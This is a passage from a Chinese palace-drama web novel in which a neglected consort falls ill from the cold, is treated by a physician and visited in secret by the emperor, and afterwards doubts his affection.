“咳咳。”皇后轻叩茶盏打断她,明黄帷帐下的面容瞧不出喜怒,“皇上的单子还没递到本宫这儿,你们倒先替皇上操起心了?” 殿内炭火烧得噼啪响,刘才人往铜火盆里添了块银丝炭,火星溅起时她忽然轻笑出声:“说起来也怪,往年这时候早该传旨预备围猎行头了,莫不是……”她故意拖长尾音,目光似有若无地飘向乔瑾腰间那枚褪色的玉扣。 绿萝气得浑身发颤,往前踏了半步却被乔瑾死死拽住。 她垂着眼皮瞧着金砖缝里的灰,听见自己的声音像从冰窖里捞出来:“臣妾不过是侥幸罢了,哪及得上各位 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“罢了,”皇后挥了挥手,侍女立刻上前扶起乔瑾。她望着乔瑾鬓边散乱的发丝,忽然轻叹道:“你身子刚好,先回殿歇着罢。围猎的事……自有皇上定夺。” 乔瑾福了福身,转身时听见身后传来压抑的嗤笑。 她攥紧袖口那块磨得发亮的补丁,走出翊坤宫时,冷冽的风卷着雪粒子扑在脸上,却压不住眼底翻涌的腥甜。 绿萝捂着火辣辣的脸颊跟上来,刚要说话就被她用眼神止住。 “别说话,”乔瑾望着漫天飞舞的雪花,声音轻得像要被风吹散,“你瞧这雪……多干净啊。” 绿萝顺着她的目光望去,却见雪地中央不知何时落了片猩红的梅花瓣,像一滴凝固的血。 远处钟粹宫方向传来丝竹声,隐约夹杂着刘才人的笑闹声,在寂静的宫城里显得格外刺耳。 第一百五十四章 受冻 夜深沉时,乔瑾原是裹在织锦软被里睡熟的。 帐幔低垂,原该是隔绝了窗外寒气的,可不知何时,那窗外的风雪竟似活了过来,卷着碎玉般的雪粒子,“簌簌”地扑在窗棂上。 风更是像个撒野的孩童,用劲拍打着糊窗的桑皮纸,“呼嗒——呼嗒——”,声响一阵紧过一阵,倒像是谁在急切地叩门。 她睡梦中只觉身子越来越沉,又越来越冷,像是坠入了冰湖,指尖脚尖先漫上寒意,渐渐往心口侵来。 直到那股子寒气透了被角,冻得她猛地打了个寒颤,这才从混沌中惊醒。 意识尚在半梦半醒间游移,她茫然地眨了眨眼,视线透过帐纱望去,屋内竟蒙着一层淡青的冷光——那是雪光映进来了。 她动了动手指,只觉得僵硬得厉害,连抬手拢紧被角都有些费力。 “绿萝……”她下意识地开口,想唤贴身侍女,可话音刚落,自己先惊了一跳。 那声音沙哑得像是被砂纸磨过,干涩得厉害,尾音还带着不易察觉的颤抖。 她这才惊觉,并非是窗外呼啸的风声吵醒了她,实实在在是这刺骨的寒意,将她从睡梦里冻了出来。 屋内静得很,只有风雪撞在窗上的声响,衬得这寂静愈发空落。 她等了片刻,不见回应,便又扬声唤了句,只是嗓音依旧嘶哑:“绿萝?” 这一回,外间终于传来了细碎的脚步声,伴随着一阵压抑的咳嗽。 门“吱呀”一声被推开条缝,绿萝端着一盏昏黄的油灯踉跄着进来,身上的棉裙似乎都透着寒气,鬓角还沾着些许未化的雪星。 她一进门就打了个哆嗦,连忙将油灯放在桌上,又匆匆走到榻前,福了福身,声音也带着点颤:“娘娘,您醒了?” 乔瑾撑着身子坐起来,裹紧了被子,目光扫过屋内。 烛火明明灭灭,映得墙角的铜火盆格外冷清——那里面哪里还有半分火星,只剩些冷透了的灰炭。 她皱了皱眉,只觉得一股寒气从脚底直往上冒,连说话时呵出的气都带着白蒙蒙的雾气:“绿萝,这屋里怎的如此冷?” 她顿了顿,指尖触到被面,凉得惊人,“今日的碳火……可是没加足?” 绿萝闻言,脸色霎时有些发白,头垂得更低了,手指紧张地绞着裙角,嘴唇动了动,却只发出些细碎的声响。 她偷瞄了眼乔瑾微蹙的眉头,又赶紧低下头去,脚边的棉鞋在青砖地上蹭了蹭,才支支吾吾地开口,声音小得像蚊子哼:“娘……娘娘……” 她深吸了口气,像是鼓足了勇气,才颤声道,“咱们……咱们殿里的碳火,已经……已经快没了……” “快没了?”乔瑾微怔,随即眉心蹙得更紧,“前儿不是才领了这个月的份例吗?怎的就快没了?” 绿萝的头几乎要埋到胸口去,声音也带上了哭腔:“是……是内务府那边,说……说今冬雪大,各宫份例都要……都要缩减些。咱们殿……许是排得靠后,分到的本就少,加上这几日天寒,用得急……” 她越说越没底气,最后几个字几乎听不清了,“昨儿最后一筐碳送进来,管事的就说……说库里也快见底了,让咱们……省着些用……” 窗外的风又猛地“呼”了一声,卷起一团雪沫子打在窗上,发出“啪”的脆响。 乔瑾望着那冷寂的火盆,又看了看绿萝冻得发红的鼻尖,一时竟没了言语。 殿外风雪正紧,殿内寒意侵骨,这漫漫长夜,怕是难熬了。 她沉默了片刻,忽的掀开被子一角,对绿萝道:“去,把我那床狐裘大氅取来,再看看还有没有厚实些的褥子,都铺到榻上来。” 绿萝连忙应声,转身去柜里翻找。 乔瑾看着窗外越下越密的雪,那雪光映得窗纸发亮,却丝毫带不来暖意。 如今身处这深宫,连一捧炭火都要算计着用,心头不由得泛起一阵涩意。 “娘娘,狐裘大氅找着了。”绿萝抱着大氅过来,又将一床厚褥子铺在榻上,“要不要……奴婢再去偏殿看看,说不定还有些存着的碎炭?” 乔瑾接过狐裘大氅披在身上,那柔软的皮毛总算带来一丝微薄的暖意。 她摇摇头,沉声道:“偏殿若有,你早该取来了。” 她顿了顿,目光落在绿萝身上,“你也去添件衣裳,仔细冻着。今日天亮后,你去趟……” 她本想说去翊坤宫问问皇后娘娘,可话到嘴边又咽了回去,她如今不受宠了,估计去找皇后娘娘,皇后娘娘也只会觉得为难。 她想了想,又道:“去内务府库房守着,待他们开库时,无论如何求他们再支些碳来,就说……就说本宫身子不适,实在受不得寒。” 绿萝点点头,眼圈却有些红:“奴婢……奴婢这就去准备。” 乔瑾看着她出去的背影,又望向窗外那片茫茫的风雪。 雪似乎更大了,天地间一片素白,唯有风声呜咽,像是在替这深宫里无数个寒夜里受冻的人,轻轻叹息。 她裹紧了狐裘,将自己埋进厚厚的被褥里,可那从窗缝里钻进来的寒气,却似乎总能绕过屏障,一点点渗进骨髓里去。 这一夜,怕是再难安睡了。 晨曦微茫时,窗纸上的雪光渐渐淡了下去,换成了一层灰蒙蒙的天光。 昨夜的风雪似乎歇了些,却将天地冻得更透,连空气都像是结了冰碴,吸进肺里都是一片刺疼。 绿萝站在廊下,望着东边天际泛起的鱼肚白,心里越来越急——按例该去皇后宫中请安的时辰就快到了,可殿里的主子…… 她攥紧了袖口,昨夜里娘娘受冻的情形还在眼前晃。 匆匆走到殿门前,雕花木门被寒气冻得发僵,她用力推了推,“吱呀”声在寂静的殿内格外刺耳。 屋内比昨夜更冷,寒气像是凝在了空气里,连那盏燃了半宿的油灯都显得有气无力。 绿萝快步走到榻前,只见锦帐依旧低垂,里面却没了往日晨起时的动静。 她心头一紧,轻轻唤了声:“娘娘?该起身去给皇后娘娘请安了。” 帐内毫无回应。 她掀开帐纱一角,借着窗外透进来的微光望去,只见乔瑾侧身躺着,鬓发散乱地贴在颊边,平日里苍白的脸色此刻却泛着不正常的潮红,像是敷了一层薄薄的胭脂,可那颜色却透着股病态的灼人。 绿萝心猛地一沉,试探着伸手想去碰她的脸颊,指尖刚触到皮肤,就被那惊人的热度烫得缩回了手。 “娘娘!”她失声喊出来,声音都在发颤。再伸手去探额头,那温度烫得像火炭,烫得她心口发慌。 乔瑾平日里身子本就弱,昨夜又受了那般寒气,如今看来竟是冻出了病! 第一百五十五章 太医 绿萝脸色煞白,嘴唇哆嗦着说不出话,急得原地转了个圈。 她猛地想起请安的时辰,再不去怕是要触怒皇后,可娘娘这副模样……她咬牙顿足,转身就往外跑,裙摆扫过地上的铜盆,发出“哐当”一声响。 守在门外的小宫女见她慌慌张张跑出来,吓得连忙低头。 绿萝一把抓住她的手腕,语速飞快,声音因焦急而变调:“你……你立刻去皇后宫中!” 她喘了口气,定了定神,才接着道:“替宸妃娘娘告假,就说……就说娘娘昨夜着了寒,身子不适,实在无法前去请安。记住了吗?快去!” 小宫女被她抓得生疼,见她脸色铁青,哪敢迟疑,忙不迭应了声“是”,转身就往宫道跑去。 绿萝看着她跑远,这才顾不上别的,撩起裙摆就往殿外冲。 寒风灌进领口,冻得她打了个寒颤,可她脑子里只有一个念头——请太医!她跌跌撞撞地跑过覆着薄冰的石子路,裙角上很快沾上了雪水,沉甸甸的。 路过御花园时,遇到几个洒扫的太监,她也顾不得规矩,扯着嗓子喊:“快!快去太医院报信,宸妃娘娘病重,让太医赶紧过来!” 太监们见她神色慌张,不敢怠慢,立刻有一个拔腿往太医院方向跑去。 绿萝这才稍稍松了口气,却又想起殿里无人照看,连忙又转身往回跑。 跑到殿门口时,正撞见那小宫女气喘吁吁地回来。 “怎么样?皇后娘娘怎么说?”绿萝一把拉住她问。 小宫女弯着腰大口喘气,好半天才憋出一句:“皇后娘娘……皇后娘娘让奴婢回话说,既如此,便让宸妃娘娘好生将养着,今日的请安便免了。还……还问了句,娘娘病得可重?” 绿萝心里稍定,却又觉得一阵酸涩,勉强点了点头:“知道了,你先进去伺候着,把暖水拧了帕子来,给娘娘敷敷额头。” 她说着,自己先冲进了内殿。 只见乔瑾依旧昏睡着,眉头却紧紧蹙着,像是在做什么难受的梦。 绿萝连忙取了铜盆,让小宫女端来热水,绞了热帕子轻轻敷在她额头上。那帕子很快就被体温烘得温热,她又赶紧换了一块,如此反复。 “绿萝……”迷迷糊糊中,乔瑾低唤了一声,声音比昨夜更加沙哑,还带着浓重的鼻音。 “娘娘,奴婢在呢!”绿萝连忙凑上前,握住她冰凉的手,“太医就快到了,您再忍忍。” 乔瑾费力地睁开眼,视线模糊地看着她,嘴唇动了动,似乎想说什么,却又没力气开口,只轻轻咳了几声,每一声都像是扯动了肺管子,震得她身子发颤。 绿萝看着她难受的模样,眼眶一热,险些落下泪来,只能一遍遍地替她掖紧被角,低声道:“没事的,娘娘,太医来了就好了……” 正说着,殿外传来了匆匆的脚步声,伴随着太监的通报声:“李太医到——” 绿萝猛地站起身,快步迎了出去。 只见一位须发皆白的老太医背着药箱,在小太监的搀扶下匆匆走进来,脸上还带着未及拂去的寒霜。 “李太医,您可来了!”绿萝像是见了救星,连忙引着他到榻前。 李太医放下药箱,也不多言,先伸手替乔瑾搭脉。 他指尖刚触到腕脉,眉头就皱了起来,又探了探她的额头,翻看了一下眼皮,这才沉声道:“风寒入体,邪热郁肺,又染了些冻着的寒气,烧得厉害。” 他打开药箱,取出纸笔匆匆写了个方子,递给绿萝:“赶紧着人去御药房抓药,用武火急煎,先服一剂看看。切记要保暖,屋内不可再受寒气。” 绿萝接过方子,手却有些发抖:“太医,娘娘她……” “放心,”李太医叹了口气,“虽是急症,但只要悉心调养,按时服药,并无大碍。只是这冬日苦寒,娘娘身子弱,以后还是要多加当心。” 绿萝连声道谢,连忙让小宫女拿着方子去抓药,自己则留在殿内,按照李太医的吩咐,又去寻了些旧棉絮塞在窗缝里,生怕再漏进一丝寒气。 她看着榻上昏沉的乔瑾,又想起昨夜那冷透的火盆,想起内务府那句“省着些用”,眼眶不由得又红了。 这深宫里的寒冬,哪里是炭火能暖得过来的?只怕这病,也不过是个开始罢了。 窗外的天色渐渐亮了,可那苍白的日光却照不暖这殿内的寒意。 绿萝守在榻边,一边替乔瑾换着帕子,一边望着门口,只盼着那汤药能快些煎好,也盼着……这漫漫长冬,能早些过去。 翊坤宫的鎏金铜鹤暖炉里燃着上好的银丝炭,暖香混着松烟味在殿内氤氲。 晨光透过雕花窗棂,将金砖地照得发亮,环侍的宫娥们垂手而立,连呼吸都放得极轻。 各宫嫔妃已按位分坐定,锦绣团簇的衣摆拖了满地,珠翠钗环在暖光下明明灭灭。 首座上的皇后穿着正红色凤袍,手里捧着鎏金暖手炉,目光淡淡扫过下首——独独空着宸嫔乔瑾的位置。 往日里她虽不算活络,却也从无迟到告假的先例。 西首末座的刘答应轻轻挪了挪身子,用帕子掩着唇,细声细气地问向皇后身侧的女官:“姐姐,怎的不见宸嫔娘娘?莫不是路上耽搁了?” 她话音刚落,坐在斜对面的李才人便轻轻“嗤”了一声,绢子掩着嘴角,眼波却似笑非笑地掠向众人:“谁知道呢?许是……昨儿早上来给皇后娘娘请安时,回去路上受了什么‘委屈’,今早便没脸来了?” 她说着,特意加重了“委屈”二字,引得旁边几位低阶嫔妃交换了个心照不宣的眼神。 昨日乔瑾过来请安的时候,大家都是怎么对待的,也不知是不是心里羞愤,此刻李才人旧事重提,显然是意有所指。 皇后指尖轻轻叩了叩暖手炉的边缘,发出一声极轻的脆响。 殿内霎时静了下来,李才人也识趣地收了声,低下头去绞着帕子。 第一百五十六章 担忧 皇后呷了口茶,才慢悠悠地开口,声音听不出喜怒:“罢了,方才宸嫔宫里的宫女来过,说她昨夜着了寒,身子不适,今日便告假了。” 她顿了顿,眼波似有若无地掠过李才人,“冬日天寒,各位妹妹也都仔细着些,莫学她,仗着年轻就不把身子当回事。” 李才人脸上的得意僵了僵,讪讪地应了声“是”。 坐在上首的华妃却轻轻晃了晃手中的翡翠护甲,嘴角勾起一抹似有似无的笑意,对身边的元充仪低声道:“着了寒?我瞧着,怕是那君心殿的碳火又不够用了吧?”她声音不大,却刚好能让近旁的人听见。 元充仪掩唇笑道:“娘娘说笑了,内务府再怎么着,也不会短了各宫的份例。许是宸嫔娘娘身子娇弱些。” 皇后仿佛没听见她们的私语,将茶盏递给宫女,正色道:“今日各宫的份例单子呈上来了,本宫瞧着冬衣料子似乎比往年薄了些,等会儿散了,各宫掌事姑姑随本宫去库房看看。还有,下月十五家宴的事,礼部的帖子已经递上来了,诸位妹妹也该早做准备。” 她话音刚落,李才人又忍不住抬了头,状似关切地望向皇后:“娘娘,宸嫔妹妹病着,需不需要奴婢们去探望探望?虽说昨儿个……”她话没说完,就被皇后一个冷冽的眼神打断了。 “不必了,”皇后语气平淡,“她身边有宫人伺候,且让她安心将养着。倒是你,” 她转向李才人,“昨儿你那猫惊了容贵人的事,本宫还没来得及问你。那畜生野性大,往后还是拴好了,若是再冲撞了哪位妹妹,或是惊了圣驾,仔细你的皮。” 李才人脸色“唰”地白了,连忙起身跪下:“娘娘恕罪!奴婢管教不严,是奴婢的错!” 皇后看了她一眼,没再说话,只挥了挥手让她起来。 殿内一时陷入沉默,只有暖炉里炭火烧得“噼啪”声偶尔响起。 窗外的雪又零星飘了起来,落在翊坤宫的琉璃瓦上,转瞬便化了。 皇后望着窗外的飞雪,指尖无意识地摩挲着暖手炉上的缠枝莲纹,良久,才淡淡开口:“都起来吧。” 下首的嫔妃们纷纷起身,唯有李才人脸色苍白地站在那里,手指紧紧攥着帕子,眼底闪过一丝怨毒。 她暗暗咬牙——乔瑾这个病来得可真“巧”,既能躲过后宫嫔妃的问责,又能博些同情。 只是不知,那君心殿的炭火,究竟是真的不够,还是有人故意…… 她抬眼望向皇后,见皇后正与华妃商议着家宴的菜品,神色温和,仿佛方才的斥责只是错觉。 李才人垂下眼帘,嘴角勾起一抹冷笑。 —— 御书房内,紫檀木书案上摊着半卷未批的奏折,龙涎香的青烟在鎏金香炉中蜿蜒而上,与墨香交织成一片沉肃的气息。 君景珩握着狼毫的手指微微一顿,笔锋悬在朱砂批注的末尾,一滴浓墨“啪嗒”坠落在明黄的奏章上,晕开一小团深色的涟漪。 他抬眸时,玉冠下的眉宇已蹙起冷峭的弧度,墨黑的瞳孔深处,一丝不易察觉的担忧如寒潭惊波般漾开。 “何事?”他的声音沉敛,却掩不住尾音里瞬间绷紧的弦。 门外躬身而入的周公公已是一头薄汗,蟒纹宫靴在青砖上落得有些急乱。 他抬袖抹了把额角,脸色比平日更显焦灼:“陛下,” 他压低声音,语气里带着几分急促,“方才宸嫔娘娘宫里的贴身宫女‘绿萝’,气喘吁吁地跑到太医院,说是娘娘……娘娘要请太医急诊了。” 君景珩搁笔的动作微沉,指节在案几上叩出一声轻响。 “仔细说。” “是,陛下。”周公公垂首道,“绿萝姑娘说,娘娘昨夜守夜时许是窗纱未关严,着了寒气,今晨起来便浑身发烫,额角烧得厉害,连晨省都免了,正昏昏沉沉地歇着,奴婢瞧着情形,才赶紧来请太医的。” 他偷眼瞧向皇帝,见那蹙起的眉头愈发紧了,连带着周身的气压都低了几分。 “胡闹!”君景珩猛地起身,玄色龙袍的袍角扫过书案,几枚镇纸发出轻响。 “摆驾君心殿!”他转身便走,靴底踏在地板上的声音透着惯有的威严,却又夹杂着一丝难掩的急切。 然而脚步刚至雕花木门,他却骤然顿住。明黄的袍角在空气中划出一道急停的弧线,他回过头,目光落在躬身跟在身后的周公公身上,眼神沉了沉:“慢着。” 周公公一愣,抬眼望向皇帝,只见君景珩眸光深邃,带着几分帝王的审慎:“你去知会下去,” 他声音不高,却带着不容置疑的命令,“朕今日在御书房批阅奏折,未曾离殿。至于朕的行踪……” 他顿了顿,唇角勾起一抹冷冽的弧度,“替朕藏好了,莫要叫不相干的人知道。” 周公公心中霎时了然。 皇上这是不愿让后宫那些眼尖的嫔妃知晓他往君心殿去了——宸嫔入宫时日尚短,恩宠渐浓,若叫其他娘娘得知陛下为她如此挂心,指不定又要生出多少事端。 而且此时很显然,皇上并不想让后宫的人发觉宸嫔娘娘此时并没有失宠。 他连忙躬身应道:“奴才明白!陛下放心,奴才这就去吩咐下去,只说陛下在书房静养,任何人不得打扰,便是各宫来问安的,也一概挡回去。” 君景珩微微颔首,不再多言,转身从偏殿的角门快步走出。 廊下的风卷起他袍上的龙纹,猎猎作响。 他并未走平日里嫔妃们常窥伺的主道,而是沿着覆满青苔的抄手游廊,在几名暗卫的无声护卫下,朝着僻静的君心殿疾行。 周公公则留在原地,迅速招来心腹小太监,低声吩咐:“去,告诉前头当值的侍卫,就说陛下今日不挪地方,若有各宫派人来探,只说陛下在批奏折,累着了。再去御花园那边晃一圈,叫几个洒扫的宫人看见,就当是陛下寻常的散步。” 他顿了顿,又补充道,“尤其留意着月浮居和朝阳殿的方向,莫叫她们的眼线得了消息。” 小太监领命而去,周公公这才擦了擦额角的汗,望着皇帝消失在游廊尽头的方向,暗自思忖:宸嫔娘娘这一病,怕是又要让这后宫的水,更浑几分了。 而此刻的君景珩,早已将后宫的算计暂抛脑后,心中只反复想着周公公的话——“浑身发烫”、“昏昏沉沉”。 他脚步更快,掌心甚至隐隐渗出薄汗,唯有那紧抿的唇线,还维持着九五之尊最后的镇定。 君心殿的飞檐已在前方隐现,殿内的情形,正牵动着这位帝王最深处的那根弦。 第一百五十七章 守护 鎏金香炉里焚着安神的沉水香,青烟袅袅缠绕着雕花木窗上的淡青色纱幔。 乔瑾斜倚在铺着软缎靠垫的床榻上,眼帘微颤着掀开一线,眸中尚带着刚醒时的朦胧水汽,脸色苍白得近乎透明,连唇色都失了血色。 “娘娘,您再喝两口药吧,刚温过的。”绿萝跪在榻边,手里端着黑褐色的药碗,用小银勺舀起一勺,小心翼翼地吹了吹,才凑到乔瑾唇边,声音轻得像怕惊扰了什么,“太医说这药最是安神补气,喝了身子才好得快。” 乔瑾微微颔首,气息微弱地张口,药汁的苦涩在舌尖蔓延开,她下意识地蹙了蹙眉。 绿萝连忙从旁边碟子里拿起一块蜜饯,递到她唇边:“娘娘,吃完药就甜了。” 就在这时,殿外传来内侍尖细的通传声:“陛下驾到——” 话音未落,明黄的身影已随着一阵沉稳的脚步声踏入内殿。 君景珩一身常服,玄色锦袍上用金线绣着暗纹龙蟒,墨发用玉冠束起,眉宇间带着几分未及褪去的朝堂上的威严,可目光触及床榻上的人影时,那冷硬的线条便瞬间柔和下来,甚至染上了一丝不易察觉的急切。 绿萝慌忙放下药碗,起身福身行礼:“奴婢参见陛下。” 站在榻旁的老太医也连忙拱手作揖:“臣参见陛下。” 君景珩摆摆手,视线紧锁着乔瑾,几步走到榻边,声音低沉而带着一丝沙哑:“央央,感觉如何?可好些了?”他伸出手,指尖悬在她额前,似是想探体温,又怕自己的手凉惊到她。 乔瑾缓缓抬眼,看清是他,苍白的脸上浮出一抹极淡的笑意,声音轻得像羽毛:“陛下……臣妾没事了,让陛下挂心了。” “没事?”君景珩的眉头微蹙,目光扫过她依旧苍白的脸和榻边未喝完的药碗,语气里带着一丝不易察觉的心疼与责备,“太医说你是忧思过度,又染了风寒,怎么会没事?” 他转向旁边垂手而立的太医,“李太医,她的身子究竟如何?” 李太医连忙躬身道:“回陛下,娘娘体虚,昨夜又受凉,此次病症虽无大碍,但需得好生将养,切忌再如昨日那般冻着。臣已开了方子,只要按时服药,静心休养,月余便可康复。” “嗯,有劳太医。”君景珩点点头,目光又落回乔瑾身上,见她正望着自己,眼神里带着一丝依赖,心中一软,伸手轻轻握住了她放在被面上的手,她的手依旧冰凉,他不由得将她的手裹得更紧了些,“怎么不多睡会儿?可是哪里不舒服?” 乔瑾摇摇头,任由他握着自己的手,能感受到他掌心传来的温热,那暖意一点点渗入四肢百骸,驱散了连日来的寒意与倦怠。 她看着他眼下淡淡的青影,不禁有些难受,神情很是复杂,没有想到这次居然让他过来了,:“臣妾只是睡久了,有些乏了,醒了便不想再睡。陛下日理万机,这点小事,不必过来看臣妾……” “胡说什么。”君景珩打断她,指腹轻轻摩挲着她手背上细腻的肌肤,语气是不容置疑的温柔,“在朕心里,没有什么比你更重要。” 这话听的乔瑾心头一跳,想起最近几日受到的委屈,神色不禁落寞起来,眼眶微微泛红。 一旁的绿萝见两人之间气氛缱绻,便悄悄拿起药碗,低声道:“陛下,娘娘的药还没喝完,奴婢去再温一温。” “不必了,”君景珩抬眸看了绿萝一眼,“你先下去吧,守在殿外,没有吩咐不许进来。” “是。”绿萝福了福身,又看了乔瑾一眼,见她微微点头,这才轻手轻脚地退了出去。 殿内只剩下两人与侍立在角落的李太医。君景珩这才又看向李太医:“李太医,你也先退下吧,有什么事朕再传你。” “臣遵旨。”李太医躬身退下,殿门被轻轻合上,隔绝了外界的一切声响,只剩下殿内香炉中沉水香燃烧时细微的噼啪声,以及窗外淅淅沥沥的雨声。 室内一时安静下来。 君景珩坐在榻边,依旧握着乔瑾的手,目光细细描摹着她的眉眼,仿佛要将这几日错过的光景都补回来。 乔瑾被他看得有些不好意思,微微垂下眼帘,轻声道:“陛下这样看着臣妾……” “朕看看你,还不行吗?”君景珩低笑一声,声音里带着宠溺,“央央,跟朕说实话,究竟是为何事忧虑,才让自己病成这样?可是宫里有人为难你了?还是……朕哪里做得不好,让你伤心了?” 他的语气带着一丝小心翼翼的探问,仿佛生怕触碰到她心中的伤口。 乔瑾抬起眼,撞进他盛满关切与担忧的眼眸里,心中那点因琐事积攒的愁绪,在这一刻仿佛都化作了绕指柔。 她轻轻摇了摇头,反握住他的手,声音比刚才清晰了些:“没有,陛下待臣妾很好。” 君景珩闻言,先是一怔,随即无奈地叹了口气,伸手轻轻拂开她额前散落的碎发,指尖带着怜惜:“这几天你先暂时忍一忍,等……等朕将一切都处理好过后,定会让那些欺负你的人交给你处置。” 他顿了顿,语气变得更加郑重:“央央你记住,有什么事情,又受了什么委屈,尽管让宫女去乾元殿找朕。” 乔瑾望着他深邃的眼眸,那里没有帝王的威仪,她鼻尖一酸,眼眶微微泛红,点了点头,声音带着一丝哽咽:“嗯,臣妾知道了。” 君景珩见她眼眶红了,心中更是心疼,伸手将她轻轻揽入怀中,动作轻柔,仿佛捧着稀世珍宝。 乔瑾靠在他怀里,听着他沉稳有力的心跳声,闻着他身上清冽的龙涎香混合着淡淡的墨香,连日来的不安与疲惫仿佛都在此刻得到了安放。 “好了,不说这些了,”君景珩轻轻拍着她的背,语气温柔,“药凉了也没关系,朕让御膳房给你炖了些温补的汤品,一会儿让他们送来。你先再睡一会儿,嗯?” 乔瑾靠在他怀里,感受着他怀抱的温暖与安心,轻轻“嗯”了一声,眼皮渐渐沉重起来。 在意识彻底沉入睡眠之前,她仿佛听到他在她耳边低语,声音温柔得能滴出水来: “央央,有朕在,别怕。” 窗外的雨声渐渐变得轻柔,殿内的药香与沉水香交织在一起,氤氲出一片静谧而温暖的氛围。 君景珩抱着怀中沉睡的人,目光柔和地落在她恬静的睡颜上,许久,才轻轻叹了口气,那叹息里,有后怕,有心疼,更有着一份矢志不渝的守护之意。 君景珩的指尖贴在乔瑾额角,滞了片刻,才缓缓收回。 那片肌肤已褪去灼人的滚烫,只余微凉的湿意——是方才退热时出的薄汗。 他紧绷了半日的下颌线条终于松缓,眼底掠过一丝不易察觉的释然,却仍蹙着眉,盯着榻上昏睡的人苍白的唇色。 “体温总算退了。”他低声自语,更像是对侍立一旁的绿萝发令。 殿内熏香混着药味,氤氲得人眼眶发沉,绿萝捧着刚绞好的冷帕子,见陛下收手,才敢上前一步,轻声道:“陛下,要不要再换次帕子?娘娘额上还有汗。” 君景珩没应声,目光却扫过床榻四周:青瓷药碗空了,铜盆里的水已凉透,窗缝里钻进的风卷着雨丝,正往纱幔里钻。 他倏地沉了脸,转向绿萝时,语气已带上几分帝王的冷冽:“方才朕怎么吩咐你的?让你看好殿内温凉,若是娘娘再受了风,仔细你的脑袋!” 绿萝吓得连忙屈膝跪倒,额头几乎触到冰凉的青砖:“奴婢知错!奴婢这就去关窗,再取个手炉来!” “不必了。”君景珩摆了摆手,视线又落回乔瑾脸上,见她睫毛轻颤,似是睡得不安稳,语气才稍稍放缓,却依旧带着不容置疑的威严,“朕要回乾元殿了。你给朕记好了——” 他顿了顿,目光如刀,剜向跪在地上的绿萝,“娘娘往后若有任何不适,或是心里有半分不畅快,你立刻去乾元殿通传。若敢隐瞒不报,或是伺候不周……” 他没说完,尾音却拖得极长,带着令人心悸的寒意。 绿萝浑身一颤,忙叩首道:“奴婢不敢!奴婢定当寸步不离,若娘娘有任何事,奴婢拼了命也会去禀报陛下!” “最好如此。”君景珩这才满意,又俯身替乔瑾掖了掖被角,指尖擦过她脸颊时,动作陡然放柔,几乎是无声的叹息。 他直起身,最后看了一眼榻上的人,才转身大步离开,明黄的衣角掠过屏风时,只留下一句沉沉的叮嘱:“看好了。” 第一百五十八章 迷茫 君景珩的脚步声消失在殿门外许久,绿萝才敢从地上爬起来,额角已沁出细汗。 她慌忙去关紧窗扇,又从暖阁取来鎏金手炉,塞进乔瑾被下,这才松了口气,抬手抹了把额上的汗。 榻上的人似乎被这一番动静扰了,睫毛颤了颤,缓缓睁开眼。 乔瑾望着帐顶繁复的云纹,意识还有些模糊,只觉得额上清爽了许多,身上也不再火烧火燎。 她偏过头,见绿萝正对着手炉呵气,不由轻声问:“陛下……走了?” 绿萝连忙转过身,见她醒了,脸上露出喜色:“娘娘您醒了?陛下刚走没多久,见您退了烧才放心回乾元殿的。” 她说着,又凑到榻边,仔细看了看乔瑾的脸色,“感觉怎么样?还难受吗?要不要再喝些温水?” 乔瑾摇摇头,目光却落在殿门方向,那里早已没了那人的身影,心里却像被什么东西填满了,温温热热的。 她想起昏迷前君景珩握着她的手,想起他语气里的焦急与后怕,唇边不由得勾起一抹浅淡的笑:“方才……陛下是不是又训你了?” 绿萝脸上闪过一丝窘迫,连忙摆手:“陛下是担心娘娘,哪里是训奴婢呢。陛下还特意叮嘱奴婢,说娘娘往后若有什么事,定要去乾元殿禀报,不许奴婢瞒着。” 她顿了顿,看着乔瑾苍白却带了些血色的脸,忍不住低声道,“陛下对娘娘,真是上心极了。” 乔瑾没说话,只是将手炉往怀里拢了拢,暖意顺着指尖蔓延到心底。 “绿萝,”她忽然开口,声音还有些虚弱,“去把妆台那边的锦盒拿来。” 绿萝愣了一下,连忙应声去取。 那是个紫檀木锦盒,乔瑾接过,从里面取出一枚通透的暖玉。 玉上刻着半朵莲花,是君景珩之前所赐,说暖玉养人。 她将暖玉握在手心,冰凉的玉质渐渐被体温焐热,一如那人看似冷硬实则温热的心。 “你去乾元殿一趟,”乔瑾将暖玉递给绿萝,目光清澈而坚定,“把这个给陛下送去,就说……就说臣妾已无大碍,谢陛下挂心。让陛下不必记挂,安心处理朝政。” 绿萝接过暖玉,有些犹豫:“陛下刚走没多久,这会儿送去,会不会……” “无妨,”乔瑾打断她,眼神里带着一丝温柔的坚持,“陛下既让你有事就去禀报,那臣妾报一声安好,也是该的。” 她顿了顿,又低声补充道,“再替我跟陛下说……这玉,很暖。” 绿萝看着自家小姐眼中的情意,心里明白了几分,连忙点头:“奴婢这就去!”她将暖玉小心揣进袖中,又替乔瑾掖了掖被角,这才快步走出殿门。 乔瑾靠在床头,听着绿萝的脚步声远去,殿内重新归于寂静。 窗外的雨已经停了,一缕阳光穿透云层,恰好落在床榻边的青瓷瓶上,瓶里插着的几枝白梅被照得透亮。 她望着那点光亮,手心里仿佛还残留着君景珩掌心的温度,以及那枚暖玉渐渐传来的暖意。 方才君景珩掌心的温度似乎还残留在被角,可前几日他在御花园擦肩而过时,那道掠过她发鬓却未停留的目光,又像此刻殿角的阴影般,冷不丁爬上心尖。 暖玉渐渐被焐热,却暖不透她指尖那点发颤的凉。 她想起三日前宫宴,他与新封的淑妃谈笑风生,眼角余光扫过她时,竟像看一个无关紧要的宫嫔,那瞬间的淡漠如冰锥,扎得她攥碎了帕子也不敢声张。 可眼下,他又为她一场风寒守至深夜,指尖探她额头时的小心翼翼,分明带着灼人的在意。 “帝王心……”她低声喃语,尾音消散在渐浓的暮色里。 鎏金香炉的青烟在光柱中浮沉,像极了君景珩捉摸不定的神情——前一刻能为她遣散六宫独守汤药,后一刻就能因奏折上的朱砂批字,连她亲手送去的安神汤都懒得多看一眼。 绿萝方才说“陛下对娘娘真是上心极了”,那声音还在耳畔。 可乔瑾望着帐顶垂下的流苏,只觉得那金线绣的凤凰都在晃动。 她真的懂他吗? 或许,前几日的冷漠是帝王权衡,此刻的关怀亦是帝王权术? 指节猛地攥紧暖玉,莲花棱角硌得掌心生疼。 殿外传来宫女们换班的低语,惊起檐角一只归巢的麻雀,扑棱棱的振翅声让她猛地一颤。 不知何时,眼尾已泛起湿意,一颗泪猝不及防砸在暖玉上,晕开一小片水痕,像极了他偶尔流露却又迅速掩去的温情,短暂得让人心慌。 